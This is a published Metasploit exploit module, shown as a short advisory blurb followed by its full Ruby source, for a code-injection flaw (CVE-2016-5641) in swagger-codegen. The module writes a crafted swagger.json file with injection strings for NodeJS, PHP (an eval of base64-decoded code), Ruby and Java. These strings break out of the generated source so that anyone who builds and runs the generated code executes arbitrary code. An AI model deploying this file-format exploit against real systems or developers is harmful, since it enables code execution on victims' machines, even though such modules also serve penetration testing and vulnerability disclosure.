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JSON Swagger CodeGen Parameter Injector

JSON Swagger CodeGen Parameter Injector
Posted Jun 28, 2016
Authored by ethersnowman | Site metasploit.com

This Metasploit module generates a Open API Specification 2.0 (Swagger) compliant json document that includes payload insertion points in parameters. In order for the payload to be executed, an attacker must convince someone to generate code from a specially modified swagger.json file within a vulnerable swagger-codgen appliance/container/api/service, and then to execute that generated code (or include it into software which will later be executed by another victim). By doing so, an attacker can execute arbitrary code as the victim user. The same vulnerability exists in the YAML format.

tags | exploit, arbitrary
SHA-256 | 925a6c94c2aaaf2800d73d3a13675fcc5378848d10e33bb01c987d3250914670

JSON Swagger CodeGen Parameter Injector

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

#
# Gems
#
require 'base64'

#
# Project
#

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'JSON Swagger CodeGen Parameter Injector',
'Description' => %q{
This module generates a Open API Specification 2.0 (Swagger) compliant
json document that includes payload insertion points in parameters.

In order for the payload to be executed, an attacker must convince
someone to generate code from a specially modified swagger.json file
within a vulnerable swagger-codgen appliance/container/api/service,
and then to execute that generated code (or include it into software
which will later be executed by another victim). By doing so, an
attacker can execute arbitrary code as the victim user. The same
vulnerability exists in the YAML format.
},
'License' => MSF_LICENSE,
'Author' =>
[
'ethersnowman <scott_davis@rapid7.com>'
],
'References' =>
[
[ 'URL', 'http://github.com/swagger-api/swagger-codegen' ],
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641' ]
],
'Platform' => %w{ nodejs php java ruby },
'Arch' => [ ARCH_NODEJS, ARCH_PHP, ARCH_JAVA, ARCH_RUBY ],
'Targets' =>
[
['NodeJS', { 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS } ],
['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ],
['Java JSP', { 'Platform' => 'unix', 'Arch' => ARCH_JAVA } ],
['Ruby', { 'Platform' => 'ruby', 'Arch' => ARCH_RUBY } ]
],
'DisclosureDate' => 'Jun 23 2016',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [false, 'The file to write.', 'msf-swagger.json']),
OptString.new('INFO_DESCRIPTION', [true, 'Swagger info description', 'A']),
OptString.new('INFO_VERSION', [true, 'Swagger info version.', '1.0.0']),
OptString.new('INFO_TITLE', [true, 'Swagger info title.', 'C']),
OptEnum.new('SWAGGER_SCHEME', [true, 'Protocol scheme', 'http', ['http','https','ws','wss']]),
OptString.new('SWAGGER_HOST', [true, 'a valid hostname or IPv4']),
OptString.new('BASE_PATH', [true, 'The root path of API on host.', '/']),
OptString.new('PATH', [true, 'Path of request/response on root path.', '/a']),
OptString.new('PATH_DESCRIPTION', [true, 'Description of a path request object', 'D']),
OptString.new('PATH_RESPONSE_DESCRIPTION', [true, 'Description of a path response object', 'E']),
OptString.new('DEFINITION_DESCRIPTION', [true, 'Description of an object definition.', 'F'])
], self.class)
end

def swagger
%Q(
{
"swagger": "2.0",
"info": {
"description": "#{datastore['INFO_DESCRIPTION']}",
"version": "#{datastore['INFO_VERSION']}",
"title": "#{datastore['INFO_TITLE']}"
},
"schemes": [
"#{datastore['SWAGGER_SCHEME']}"
],
"host": "#{datastore['SWAGGER_HOST']}",
"basePath": "#{datastore['BASE_PATH']}",
"produces": [
"application/json"
],
"consumes": [
"application/json"
],
"paths": {
"#{datastore['PATH']}": {
"get": {
"description": "#{datastore['PATH_DESCRIPTION']}",
"responses": {
"200": {
"description": "#{datastore['PATH_RESPONSE_DESCRIPTION']}",
"schema": {
"$ref": "#/definitions/d"
}
}
}
}
}
},
"definitions": {
"d": {
"type": "object",
"description": "#{datastore['DEFINITION_DESCRIPTION']}",
"properties": {
"id": {
"type": "integer",
"format": "int64"
}
}
}
}
}
)
end

def exploit
case payload.arch[0]
when 'nodejs'
payload_loc = 'PATH'
payload_prefix = "/a');};};return exports;}));"
payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('"
wrapped_payload = payload_prefix + payload.encoded + payload_suffix
when 'php'
payload_loc = 'INFO_DESCRIPTION'
payload_prefix = "*/ namespace foobar; eval(base64_decode('"
payload_suffix = "')); /*"
wrapped_payload = payload_prefix +
Base64.strict_encode64(payload.encoded) +
payload_suffix
when 'ruby'
payload_loc = 'INFO_TITLE'
payload_prefix = "=end "
payload_suffix = "=begin "
wrapped_payload = payload_prefix + payload.encoded + payload_suffix
when 'java'
payload_loc = 'PATH'
payload_prefix = %q{a\\\"; "}
p = payload.encoded.gsub(/<%@page import="/, 'import ')
p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '')
p = p.gsub(/"/, '\\"').gsub(/\n/, ' ')
wrapped_payload = payload_prefix + p
else
raise IncompatiblePayloadError.new(datastore['PAYLOAD'])
end

datastore[payload_loc] = wrapped_payload

print_status swagger
file_create swagger
end
end
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